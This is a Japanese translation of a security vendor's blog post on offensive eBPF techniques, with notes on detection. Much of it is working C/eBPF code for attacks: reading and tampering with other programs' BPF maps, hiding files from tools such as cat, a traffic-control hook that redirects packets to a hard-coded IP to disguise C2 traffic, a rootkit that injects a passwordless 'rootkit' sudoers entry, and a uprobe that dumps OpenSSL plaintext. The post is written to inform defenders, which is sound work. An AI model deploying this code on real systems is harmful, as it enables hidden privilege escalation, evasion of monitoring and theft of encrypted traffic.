Google Cloudとコンテナの継続的なセキュリティ
本文の内容は、2023年9月5日にDANIELE LINGUAGLOSSA が投稿したブログ(https://sysdig.com/blog/ebpf-offensive-capabilities)を元に日本語に翻訳・再構成した内容となっております。
eBPF(Extended Berkeley Packet Filter)が強力な技術であることはご承知のとおりです。この記事では、eBPF が攻撃者に提供できる攻撃的な機能と、攻撃に対する防御方法を探ります。
eBPFは、2014年にLinuxカーネル(カーネル4.4)に初めてリリースされて以来、多くの注目を集めています。この強力なテクノロジーにより、カーネルモジュールを記述したりカーネルドライバーをロードしたりすることなく、Linuxカーネルの内部でプログラムを実行できるようになります。これらのプログラムは、制限されたC言語ライクな言語で書かれ、eBPF仮想マシンのカーネルによって実行されるバイトコードにコンパイルされます。eBPFプログラムは、その性質上、ユーザー空間プロセスの通常のライフサイクルを持たず、特定の(プログラマーが指定した)カーネルイベントが発生したときに実行されます。
これらのイベントはフックと呼ばれ、ネットワークソケット、トレースポイント、kprobes、uprobesなど、カーネルのさまざまな場所に配置されます。フックは、トレース、ネットワーキング、セキュリティーなど、様々な目的に使用することができます。
実際、今日存在する多くの異なるセキュリティ監視ツール(Falco はその一つ)の中で、eBPF は悪意のある活動、パフォーマンス分析、またセキュリティポリシーの強制のためにシステムを監視するために使用することができます。
eBPFプログラムはカーネル内の多くの異なるフックにアタッチすることができ、そのリストは新しいカーネルがリリースされるたびに増えています。これらのフックはプローブと呼ばれ、カーネルのさまざまな場所に配置されています。ここでは、そのうちのいくつかについて説明します。
このように多くのフックが利用できるため、eBPFプログラムはカーネルの実行を監視し、変更するために使用することができます。これがeBPFが非常に強力である理由であり、また悪い目的にも使える理由でもあります。
eBPFプログラムはカーネルによって実行されるバイトコードにコンパイルされます。eBPF プログラムは、 bpf()
システムコールを使用してカーネルにロードされます。システムコール シグネチャーは次のようになります:
int bpf(int cmd, union bpf_attr *attr, unsigned int size);
cmd
パラメーターは実行するオペレーションを指定するために使用され、 attr
パラメーターはsyscallに引数を渡すために使用され、 size
パラメーターは attr
パラメーターのサイズを指定するために使用されます。
様々なコマンドがありますが、その一部を以下に示します:
enum bpf_cmd {
BPF_MAP_CREATE, /* create map */
BPF_MAP_LOOKUP_ELEM, /* lookup element in map */
BPF_MAP_UPDATE_ELEM, /* update element in map */
BPF_MAP_DELETE_ELEM, /* delete element in map */
BPF_MAP_GET_NEXT_KEY, /* get next key in map */
BPF_PROG_LOAD, /* load BPF program */
...
...
};
Code language: JavaScript (javascript)
今、私たちは BPF_PROG_LOAD
コマンドに興味を持っています。このコマンドはeBPFプログラムをカーネルにロードするために使用され、 attr
パラメーターはロードするプログラムのタイプ、バイトコード、バイトコードのサイズ、その他のパラメーターを指定します。 bpf()
システムコールは、ロードされるプログラムに関連するファイル記述子を返します。このファイル記述子を使用して、プログラムをフックにアタッチしたり、カーネルからプログラムをアンロードしたりすることができます。プログラムは、ファイル・ディスクリプタがクローズされるまでカーネル・メモリに残ります。
幸いなことに、eBPFプログラムを作成するためにbpf()
システムコールを直接呼び出す必要はありません。eBPFプログラムを作成するために使用できる様々なライブラリがあります:
この記事では libbpfgo
を使いますが、コンセプトはどのライブラリでも同じです。
eBPFプログラムはカーネルで実行されますが、ユーザー空間のプログラムとコミュニケーションしたり、その逆も可能です。これにはマップと呼ばれる特別なオブジェクトを使用します。マップは、カーネルとユーザー空間の間でデータを交換するために使用できるキー・バリュー・ストアです。マップは BPF_MAP_CREATE
コマンドで作成され、さまざまなタイプがあります。その中には
今回の目的では、ユーザー空間とカーネル間でいくつかの構造体を共有するために BPF_MAP_TYPE_HASH
を使用し、ユーザー空間にイベントを送信するために BPF_MAP_TYPE_PERF_EVENT_ARRAY
を使用します。
先に称したように、eBPFプログラムは制限されたCのような言語で書かれ、バイトコードに変換されます。eBPF仮想マシンは64ビットRISCマシンで、11本のレジスタと固定サイズ(512バイト)のスタックを持ちます。レジスタは以下の通りです:
それにもかかわらず、eBPF仮想マシンは、レジスタの最上位ビットがゼロであれば、32ビットアドレッシングを使用することもできます。
このソースからバイトコードへの変換は、eBPF仮想アーキテクチャーを簡単にターゲットにできる clang
によって処理されます。CプログラムをeBPFバイトコードにコンパイルするには、以下のコマンドを使います:
clang -target bpf -c program.c -o program.o
Code language: CSS (css)
これは program.c
ファイルをバイトコード・ファイルである program.o
にコンパイルします。このファイルは、前に述べたライブラリを使用して再配置され、カーネルにロードされます。
パフォーマンス・クリティカルな性質のため、eBPFプログラムはカーネルによってVMバイトコードからネイティブ・マシンコードにコンパイルされます。これはJITまたはJust In Timeコンパイルと呼ばれ、(プログラムがロードされたときに)一度だけ実行されます。カーネルが CONFIG_BPF_JIT_ALWAYS_ON=false
でコンパイルされない限り、コンパイルされたプログラムはカーネル・メモリに保存され、フックがトリガーされるたびに実行されます。
カーネル内で信頼されていないコードを実行することは本当に危険なことです。そのため、カーネル開発者はバイトコードをコンパイルする前にチェックするベリファイアを実装しました。これはサービス拒否(DoS)攻撃を避けるために行われます。ベリファイアはまた、プログラムがスタック外のメモリにアクセスしようとしていないか、マップされていないメモリにアクセスしようとしていないかをチェックするためにも使用されます。これは、メモリ破壊攻撃(ALU サニタイゼーション)を回避するために行われます。
この安全性は、命令のシーケンスをエミュレートし、レジスタが正しく使用されていることをチェックすることで達成されます。以下に、ベリファイアが実行するチェックをいくつか挙げます:
ベリファイアの詳細については、こちらをご覧ください。
これまでの知識を踏まえて、eBPFプログラムが提供できる攻撃的な機能について考え始めましょう。以下にそのいくつかを紹介します:
下記で、これらの機能の例をいくつか示します。
その性質上、マップは攻撃者にとって格好の標的です。なぜなら、マップに書き込むことで、その下にあるeBPFプログラムのロジックが変更される可能性があるからです。完全にeBPFで行われたファイアウォール実装を解析していると仮定します。ユーザースペースコンポーネントは、ファイアウォールルールのリストを更新するために、カーネルとマップ上で会話することができます。そのためには、マップファイルの記述にアクセスする必要があります。 BPF_MAP_GET_NEXT_ID
, BPF_MAP_GET_NEXT_KEY
, BPF_MAP_LOOKUP_ELEM
コマンドの使用により実際に可能です。ルート権限が必要です。
まず最初に、利用可能なすべてのマップのループを開始する必要があります。これは BPF_MAP_GET_NEXT_ID
コマンドを使って行うことができます。このコマンドを使って、すべての利用可能なマップをループすることができます。次のコードはその方法を示しています:
static int bpf_obj_get_next_id(__u32 start_id, __u32 *next_id)
{
const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
union bpf_attr attr;
int err;
memset(&attr, 0, attr_sz);
attr.start_id = start_id;
err = sys_bpf(BPF_MAP_GET_NEXT_ID, &attr, attr_sz);
if (!err)
*next_id = attr.next_id;
return err;
}
Code language: JavaScript (javascript)
利用可能なすべてのマップをループするには、次のようにします:
while (bpf_obj_get_next_id(next_id, &next_id) == 0) {
// do something with the id
}
Code language: JavaScript (javascript)
マップIDを取得したら、 BPF_MAP_GET_FD_BY_ID
コマンドを使ってマップのファイルディスクリプタを取得することができます。これは次のようにして行います:
int bpf_map_get_fd_by_id_opts(uint32_t id, const struct bpf_get_fd_by_id_opts *opts)
{
const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
union bpf_attr attr;
int fd;
if (!OPTS_VALID(opts, bpf_get_fd_by_id_opts))
return libbpf_err(-EINVAL);
memset(&attr, 0, attr_sz);
attr.map_id = id;
attr.open_flags = OPTS_GET(opts, open_flags, 0);
fd = sys_bpf_fd(BPF_MAP_GET_FD_BY_ID, &attr, attr_sz);
return libbpf_err_errno(fd);
}
Code language: JavaScript (javascript)
次に、マップ・ファイル・ディスクリプターを取得します:
int fd = bpf_map_get_fd_by_id(next_id);
ファイルディスクリプターを取得したら、e BPF_OBJ_GET_INFO_BY_FD
コマンドを使ってマップタイプとマップ名を取得します:
int bpf_obj_get_info_by_fd(int bpf_fd, void *info, __u32 *info_len)
{
const size_t attr_sz = offsetofend(union bpf_attr, info);
union bpf_attr attr;
int err;
memset(&attr, 0, attr_sz);
attr.info.bpf_fd = bpf_fd;
attr.info.info_len = *info_len;
attr.info.info = ptr_to_u64(info);
err = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, attr_sz);
if (!err)
*info_len = attr.info.info_len;
return libbpf_err_errno(err);
}
Code language: JavaScript (javascript)
次に、マップタイプとマップ名を取得します:
struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);
bpf_map_info
構造体にはマップタイプとマップ名が含まれています。このように読むことができます:
printf("map name: %s\n", info.name);
printf("map type: %d\n", info.type);
Code language: JavaScript (javascript)
これは、実際にマップを名前やタイプでフィルタしたい場合に便利です:
if (!strcmp(info.name, "firewall") || info.type != BPF_MAP_TYPE_HASH) {
// do something
}
Code language: JavaScript (javascript)
必要な情報がすべて揃ったら、マップとやりとりすることができます。例えば、 BPF_MAP_GET_NEXT_KEY
コマンドを使ってマップの全てのキーを取得することができます:
int bpf_map_get_next_key(int fd, const void *key, void *next_key)
{
const size_t attr_sz = offsetofend(union bpf_attr, next_key);
union bpf_attr attr;
int ret;
memset(&attr, 0, attr_sz);
attr.map_fd = fd;
attr.key = ptr_to_u64(key);
attr.next_key = ptr_to_u64(next_key);
ret = sys_bpf(BPF_MAP_GET_NEXT_KEY, &attr, attr_sz);
return libbpf_err_errno(ret);
}
Code language: JavaScript (javascript)
そして、キーを検索します:
unsigned int key = -1;
unsigned int next_key = -1;
while (bpf_map_get_next_key(fd, key, next_key) == 0) {
// do something with the key
}
Code language: JavaScript (javascript)
BPF_MAP_LOOKUP_ELEM
コマンドで、与えられたキーの値を調べることができます:
int bpf_map_lookup_elem(int fd, const void *key, void *value)
{
const size_t attr_sz = offsetofend(union bpf_attr, flags);
union bpf_attr attr;
int ret;
memset(&attr, 0, attr_sz);
attr.map_fd = fd;
attr.key = ptr_to_u64(key);
attr.value = ptr_to_u64(value);
ret = sys_bpf(BPF_MAP_LOOKUP_ELEM, &attr, attr_sz);
return libbpf_err_errno(ret);
}
Code language: JavaScript (javascript)
最終的なコードは次のようになります:
int main(int argc, char **argv)
{
unsigned int next_id = 0;
while (bpf_obj_get_next_id(next_id, &next_id, BPF_MAP_GET_NEXT_ID) == 0)
{
int fd = bpf_map_get_fd_by_id(next_id);
if (fd < 0)
{
printf("bpf_map_get_fd_by_id failed: %d (%d)\n", fd, errno);
return 1;
}
struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);
if (ret < 0)
{
printf("bpf_obj_get_info_by_fd failed: %d (%d)\n", ret, errno);
return 1;
}
printf("map fd: %d\n", fd);
printf("map name: %s\n", info.name);
printf("map type: %s\n", bpf_map_type_to_string(info.type));
printf("map key size: %d\n", info.key_size);
printf("map value size: %d\n", info.value_size);
printf("map max entries: %d\n", info.max_entries);
printf("map flags: %d\n", info.map_flags);
printf("map id: %d\n", info.id);
unsigned int next_key = 0;
printf("keys:\n");
while (bpf_map_get_next_key(fd, &next_key, &next_key) == 0)
{
void *value = malloc(info.value_size);
ret = bpf_map_lookup_elem(fd, &next_key, value);
if (ret == 0)
{
printf(" - %d\n", next_key);
map_hexdump(value, info.value_size);
printf("\n");
}
}
printf("------------------------\n");
}
return 0;
}
Code language: JavaScript (javascript)
いったんファイル記述子にアクセスできれば、あとはマップの内容を反転させて解釈するだけです。これにより、攻撃者はマップの内容を変更し、eBPFプログラムの動作を変更する(例えば、セキュリティチェックをバイパスする)ことを許可することになります。
巧妙な攻撃は、ドキュメントに記載されているように、 BPF_MAP_FREEZE
コマンドを悪用することです:
/*
* BPF_MAP_FREEZE
* Description
* Freeze the permissions of the specified map.
*
* Write permissions may be frozen by passing zero *flags*.
* Upon success, no future syscall invocations may alter the
* map state of *map_fd*. Write operations from eBPF programs
* are still possible for a frozen map.
*
* Not supported for maps of type **BPF_MAP_TYPE_STRUCT_OPS**.
*
* Return
* Returns zero on success. On error, -1 is returned and *errno*
* is set appropriately.
*/
Code language: JSON / JSON with Comments (json)
このようにすることで、将来、ユーザー空間からマップの状態を変更するためのシステムコールを防ぐことができます(例えば、セキュリティ・チェックのバイパスなど)。これは、eBPFプログラムによってのみマップの内容を変更できることを意味します。
カーネル自体からシステムコールをフックすることは、ファイルやフォルダ、あるいはプロセスをユーザーから隠す場合に非常に便利です。次の例は、特定のファイルを読み込もうとするコマンド( cat
, nano
, grep
など)から隠す方法を示しています。
これは sys_enter
イベントにトレースポイントを設定することで動作し、システムコールが呼び出されるたびにトリガーされ、システムコールのidが SYS_openat
かどうか、パスが隠したいものと一致するかどうかをチェックします。もし一致すれば、パスをヌルバイトで上書きします。この例では、マップを使用してターゲットパスと最終的にターゲットプロセス名とpidの両方を格納しています。これにより、特定のプロセスのみ、またはすべてのプロセスに対してファイルを隠すことができます。
最初に行うことは、 BPF_PROG_TYPE_RAW_TRACEPOINT
プログラムタイプを使用して新しいトレースポイントを作成することです。これは次のように行います:
SEC("raw_tracepoint/sys_enter")
int raw_tracepoint__sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
// your code here
return 0;
}
Code language: JavaScript (javascript)
SEC
はプログラムのセクションを指定するためのマクロです。この場合、 raw_tracepoint/sys_enter
セクションを使用します。このセクションは、 libbpf がプログラムを sys_enter
トレースポイントにアタッチするために使用します。
bpf_raw_tracepoint_args
構造体には、トレースポイントに渡される引数が含まれます。この場合、最初の引数は pt_regs
構造体へのポインタです。この構造体には、現在のプロセスのレジスタが含まれています。2番目の引数はsyscall IDなので、syscall IDが SYS_openat
であるかどうかをチェックし、もしそうであれば、パスをヌルバイトで上書きします。
unsigned long syscall_id = ctx->args[1];
struct pt_regs *regs;
regs = (struct pt_regs *)ctx->args[0];
if (syscall_id == SYS_openat)
{
// do something
}
Code language: PHP (php)
ユーザモードで実行中のプログラムと通信するために、以下のような構造体を共有しました:
struct target
{
int pid;
char procname[16];
char path[256];
};
struct
{
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u32);
__type(value, struct target);
__uint(max_entries, 1);
} target SEC(".maps");
Code language: JavaScript (javascript)
golang側でも同じ構造体を定義する必要があります:
type Target struct {
Pid uint32
Comm [16]byte
Path [256]byte
}
ユーザ空間から構造体を更新するには、次のようにします:
targetMap, err := bpfModule.GetMap("target")
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(-1)
}
// update the map
key := uint32(0x1337)
var val Target
copy(val.Comm[:], procname)
copy(val.Path[:], filepath)
val.Pid = uint32(pid)
keyUnsafe := unsafe.Pointer(&key)
valueUnsafe := unsafe.Pointer(&val)
targetMap.Update(keyUnsafe, valueUnsafe)
Code language: PHP (php)
eBPFプログラムはlibc関数を使用できないため、すべてを動作させるためにはいくつかのユーティリティ関数が必要です。以下の関数は文字列を操作するために使用されます:
static __always_inline __u64
__bpf_strncmp(const void *x, const void *y, __u64 len)
{
// implement strncmp
for (int i = 0; i < len; i++)
{
if (((char *)x)[i] != ((char *)y)[i])
{
return ((char *)x)[i] - ((char *)y)[i];
}
else if (((char *)x)[i] == '\0')
{
return 0;
}
}
return 0;
}
static __always_inline __u64
__bpf_strlen(const void *x)
{
// implement strlen
__u64 len = 0;
while (((char *)x)[len] != '\0')
{
len++;
}
return len;
}
Code language: JavaScript (javascript)
最終的なコードは次のようになります:
if (syscall_id == SYS_openat)
{
struct target *tar;
u32 key = 0x1337;
tar = bpf_map_lookup_elem(&target, &key);
if (!tar)
{
return 0;
}
else
{
char pathname[256];
char *pathname_ptr = (char *)PT_REGS_PARM2_CORE(regs);
bpf_core_read_user_str(&pathname, sizeof(pathname), pathname_ptr);
char comm[16];
bpf_get_current_comm(&comm, sizeof(comm));
u32 pid = bpf_get_current_pid_tgid() >> 32;
bool match = false;
if (tar->pid != 0 && pid == tar->pid)
{
match = true;
}
if (!match && __bpf_strncmp(comm, tar->procname, sizeof(comm)) == 0)
{
if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
{
match = true;
}
}
else
{
if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
{
match = true;
}
}
if (match)
{
if (bpf_probe_write_user(pathname_ptr, "\x00", 1) != 0)
{
return 0;
}
}
}
}
Code language: PHP (php)
同じ結果を得るもう1つの方法は、 SYS_getdents
をフックし、システムコールによって返されるファイルのリストから隠したいファイルをフィルタリングすることです。
防御の観点からは、eBPFを使用して SYS_bpf
へのシステムコールを監視し、攻撃者がシステムコールをフックするプログラムをロードしようとしているかどうかをチェックすることで、この種の攻撃を検出することが可能です。これはbpf_prog_info
構造体内の BPF_PROG_TYPE_RAW_TRACEPOINT
をチェックすることで可能です。
eBPFのもう一つの重要な特徴は、送受信トラフィックをオンザフライで変更する機能です。このフックは、パケットがカーネルによって処理された後に実行されます。つまり、そのパケットは、インターフェイスにアタッチされていれば、XDPフックによってすでに処理されています。
TCは、悪意のあるトラフィックを隠すために悪用することができ、C2トラフィックを隠すことになると本当に便利です。次の例は、すべてのトラフィックを特定のIPアドレスにリダイレクトする方法を示しています。こうすることで、インターフェースのトラフィックを監視している人は、パケットの本当の宛先を見ることができなくなります。
最初にすることは、次のように新しいTCフックを作ることです:
SEC("tc")
int tc_prog(struct __sk_buff *skb)
{
return TC_ACT_OK;
}
Code language: JavaScript (javascript)
戻り値は TC_ACT_OK
か TC_ACT_SHOT
のどちらかです。最初のものはパケットが正常に処理されることを意味し、2番目のものはパケットがドロップされることを意味しますので、これに注意してください。
struct __sk_buff
構造体には、パケットに関するすべての情報が格納されています。この構造体を使って宛先IPアドレスを取得し、それを変更することができます。次のコードはその方法を示しています:
struct iphdr *iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
if ((void *)(iph + 1) > skb->data_end)
{
return TC_ACT_OK;
}
if (iph->protocol == IPPROTO_TCP)
{
// get tcphdr
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
if ((void *)(tcph + 1) > skb->data_end)
{
return TC_ACT_OK;
}
// get tcp dst addr and dst port
__u32 dst_addr = bpf_htonl(iph->daddr);
__u16 dst_port = bpf_htons(tcph->dest);
if (dst_addr == 0xDEADBEEF)
{
// check if dst port is 0x1337
if (dst_port == 0x1337)
{
// modify dest port to 1234
u16 new_dst_port = bpf_htons(1234);
bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + sizeof(struct iphdr) + offsetof(struct tcphdr, dest), &new_dst_port, sizeof(new_dst_port), BPF_F_RECOMPUTE_CSUM);
// modify dest addr to 15.204.197.177
u32 new_dst_addr = bpf_htonl(0x0FC4C5B1);
bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + offsetof(struct iphdr, daddr), &new_dst_addr, sizeof(new_dst_addr), BPF_F_RECOMPUTE_CSUM);
iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
if ((void *)(iph + 1) > skb->data_end)
{
return TC_ACT_OK;
}
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
if ((void *)(tcph + 1) > skb->data_end)
{
return TC_ACT_OK;
}
dst_port = bpf_htons(tcph->dest);
dst_addr = bpf_htonl(iph->daddr);
}
}
}
Code language: PHP (php)
パケットを変更した後にチェックサムを更新することを忘れないでください。
パケットがカーネルによって処理されると、パケットの実際の宛先を見ることができるため、このような攻撃を検出するには、外部の監視ツールやハードウェアを使用すれば十分です。
隠しユーザーを作成することは、悪意のある振る舞いを隠すという点では非常に有効な機能です。これはeBPFを使って SYS_open
と SYS_read
システムコールをフックし、sudoがそれを読もうとしたときに/etc/sudoersファイル内にカスタムエントリを作成することで実現できます。以下のコードは、このような機能を実現する方法の一例です。
これを行うために、 SYS_openat2
に 1 つ、 SYS_read
に 1 つ、 SYS_exit
. に 1 つという 3 つの異なる kprobe を作成しました。 ロジックは次のとおりです。
1 - SYS_openat2
が呼び出されると、/etc/sudoersのファイル記述子と呼び出し元のプロセスのpidをマップ内に保存します。
2 - SYS_read
が呼び出されると、ファイル記述子が前に保存したものであるかどうかをチェックします。
3 - SYS_exit
が呼び出されると、マップ内にプロセスpidが存在するかどうかをチェックします。存在する場合は、ファイル記述子を閉じてマップから削除します。
最終的なコードは以下のようになります:
#define USERNAME "rootkit"
#define NEW_SUDOERS "root ALL=(ALL:ALL) ALL\n" USERNAME " ALL=(ALL) NOPASSWD:ALL\n"
#define PAD_CHAR '\0' // can also be '#'
#define MAX_SUDOERS_SIZE 20000
#define true 1
#define false 0
#define bool int
SEC("kprobe/do_sys_openat2")
int kprobe__do_sys_openat2(struct pt_regs *ctx) {
struct filename *filename;
bpf_probe_read(&filename, sizeof(filename), &ctx->si);
char name[256];
bpf_probe_read_str(name, sizeof(name), &filename->name);
if (strcmp(name, "/etc/sudoers") == true) {
size_t pt = bpf_get_current_pid_tgid();
// first write fd = -1 to the map as we are currently at the start of the function
// and we don't know the value of it yet, we also don't know the destination buffer
// until kprobe/ksys_read, so set it to NULL for now
struct fd_dest fdest = { .fd = -1, .dest = NULL };
bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_NOEXIST);
}
return 0;
}
SEC("kretprobe/do_sys_openat2")
int kretprobe__do_sys_openat2(struct pt_regs *ctx) {
struct fd_dest fdest;
size_t pt = bpf_get_current_pid_tgid();
void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
if (val == NULL)
return 0;
bpf_probe_read(&fdest, sizeof(fdest), val);
// check if we already saved the fd of /etc/sudoers to the map
if (fdest.fd != -1)
return 0;
// read the rax value, which contains the fd of the opened file
bpf_probe_read(&fdest.fd, sizeof(fdest.fd), &ctx->ax);
// update fd from -1 to the actual fd
bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
return 0;
}
SEC("kprobe/ksys_read")
int kprobe__ksys_read(struct pt_regs *ctx) {
int fd;
struct fd_dest fdest;
void *read_dest = NULL;
size_t pt = bpf_get_current_pid_tgid();
void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
if (val == NULL)
return 0;
bpf_probe_read(&fdest, sizeof(fdest), val);
// if we still haven't hit kretprobe of do_sys_openat2
// (the fd of /etc/sudoers is not saved yet)
// also skip if the destination buffer was already saved
if (fdest.fd == -1 || fdest.dest != NULL)
return 0;
bpf_probe_read(&fd, sizeof(fd), &ctx->di);
// check if the read fd matches the fd of the /etc/sudoers file
if (fd != fdest.fd)
return 0;
// the destination buffer pointer is within rsi register
// read its value and write it to the map
bpf_probe_read(&fdest.dest, sizeof(fdest.dest), &ctx->si);
bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
return 0;
}
SEC("kretprobe/ksys_read")
int kretprobe__ksys_read(struct pt_regs *ctx) {
size_t bytes_read = 0;
struct fd_dest fdest;
size_t pt = bpf_get_current_pid_tgid();
void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
if (val == NULL)
return 0;
bpf_probe_read(&fdest, sizeof(fdest), val);
if (fdest.dest == NULL)
return 0;
size_t new_sudoers_len = strlen(NEW_SUDOERS);
bpf_probe_read(&bytes_read, sizeof(bytes_read), &ctx->ax);
if (bytes_read == 0 || bytes_read < new_sudoers_len)
return 0;
// write NEW_SUDOERS to the beginning of the file
bpf_probe_write_user(fdest.dest, NEW_SUDOERS, new_sudoers_len);
// pad the rest of the /etc/sudoers with PAD_CHAR
// i < MAX_SUDOERS_SIZE check is needed otherwise the verifier won't allow
// the program to load
char tmp = PAD_CHAR;
for (u32 i = new_sudoers_len; i < bytes_read && i < MAX_SUDOERS_SIZE; i++)
bpf_probe_write_user(fdest.dest + i, &tmp, sizeof(tmp));
return 0;
}
SEC("kprobe/do_exit")
int kprobe__do_exit(struct pt_regs *ctx) {
size_t pt = bpf_get_current_pid_tgid();
// if the pid_tgid is found within the map then the process that's currently
// exiting is a process that previously read /etc/sudoers, remove it from the map
if (bpf_map_lookup_elem(&sudoers_map, &pt))
bpf_map_delete_elem(&sudoers_map, &pt);
return 0;
}
Code language: PHP (php)
この種のルートキットを防御する唯一の効果的な方法は、eBPFを使って SYS_bpf
システムコールを監視することです。
フックできるのはシステムコールだけでなく、ユーザー空間の関数も同様です。これはuprobesを使うことで可能です。uprobesフッキングは、 INT3
命令を使ってターゲット関数にブレークポイントを設定することで動作します。つまり、簡単にフックするためには、バイナリをデバッグシンボルでコンパイルする必要があります。ブレークポイントがヒットすると、カーネルはeBPFプログラムを起動し、コンテキストを渡します。このコンテキストには、ターゲットプロセスのレジスタとスタックが含まれます。つまり、eBPF プログラムはターゲットプロセスのスタックを読み書きできます。
以下の例では、OpenSSLの SSL_write
関数をフックして、SSL接続の平文をダンプしています。
SEC("uprobe/SSL_write")
int uprobe__SSL_write(struct pt_regs *ctx)
{
size_t len = (size_t)PT_REGS_PARM3(ctx);
char *buf = (char *)PT_REGS_PARM2(ctx);
// check if len is greater than 0
if (len > 0 && buf != NULL)
{
if (len > 256)
{
len = 256;
}
bpf_printk("SSL_write RSI: %p\n", buf);
ssl_result_t *res;
u32 key = 0;
res = bpf_map_lookup_elem(&ssl_results, &key);
if (!res)
{
return 0;
}
bpf_probe_read_user_str(&res->msg, len, buf);
bpf_get_current_comm(&res->comm, sizeof(res->comm));
res->pid = bpf_get_current_pid_tgid() >> 32;
bpf_perf_event_output(ctx, &ssl_events, BPF_F_CURRENT_CPU, res, sizeof(*res));
}
return 0;
}
Code language: PHP (php)
SSL_write
は以下のシグネチャーを持ちます:
int SSL_write(SSL *ssl, const void *buf, int num);
Code language: JavaScript (javascript)
RSI
レジスタは送られるデータ(平文)を含むバッファへのポインタを保持します。
この種の攻撃からの防御は些細なことです。 .text
セグメントに変更を加えるので、開発者はバイナリが変更されたかどうかを検出するために、何らかの整合性チェック(CRC32)を実装することができます。
eBPFはハッカーにとって完璧なターゲットです。ベリファイアの複雑さを考えると、近い将来、いくつかのバグが発見され、悪用される可能性は非常に高いでしょう。
ファジングは今でもカーネルのバグを見つけるのに適した方法ですが、eBPFのプログラムをファジングするのは簡単ではありません。ベリファイアは非常に厳格で、有効なプログラムを生成するのは容易ではないからです。この問題を克服するために、いくつかの巧妙なアプローチが開発されています。例えば、GoogleのBuzzerは、ベリファイア自体のログを使って有効なプログラムを生成し、さらにKCOVを使って生成されたサンプルのカバレッジをトレースするファザーです。
このアプローチにより、例えばCVE-2023-2163のように、ベリファイアのバグがいくつか発見されました。いずれにせよ、カーネルヘルパー関数の副作用のファジングなど、まだ改善の余地があります。eBPF VMがサポートする命令数が少ないことを考慮すれば、文法ベースのアプローチを使って有効なプログラムを生成するファザーを実装することは可能です。
また、ベリファイアを完全にユーザー空間に移植するのも良いアイデアです。これにより、アサーションの助けを借りてベリファイア自体をファジングし、無効な仮定に遭遇したときに強制的にクラッシュさせることが可能になります。
このような攻撃を軽減する最も効果的な方法は、 SYS_bpf
の使用をrootユーザーに制限することです。これは、kconfig knob BPF_UNPRIV_DEFAULT_OFF
を設定することで可能です。
もう1つの方法は、Falcoのような監視ツールを使ってシステムコールの使用状況を監視し、そのような乱用を検出することです。
上記の方法に加えて、ロードされたbpfプログラムとそれぞれの使用状況(Kprobe、TCなど)を知るには、bpftoolを使うのも便利です。
eBPFは、安全な方法でカーネル機能を拡張できる非常に強力な技術です。多くの企業で本番環境で使用されており、今後さらに使用される可能性が高いです。しかし同時に、脅威行為者はこの技術を利用して悪意のある活動を隠したり、セキュリティ・チェックを回避したり、さらにはカーネルを悪用したりすることもできます。
そのような種類の次世代攻撃に対処する最善の方法は、eBPFの能力をフルに活用してカーネルを監視し、疑わしい活動を検出することです。
Falco は、悪意のある活動を検出するために eBPF をどのように使用できるかの素晴らしい例を提供します。また、Falco は eBPF システムコールの監視をサポートしているため、eBPF を悪用する試みを検出することができます。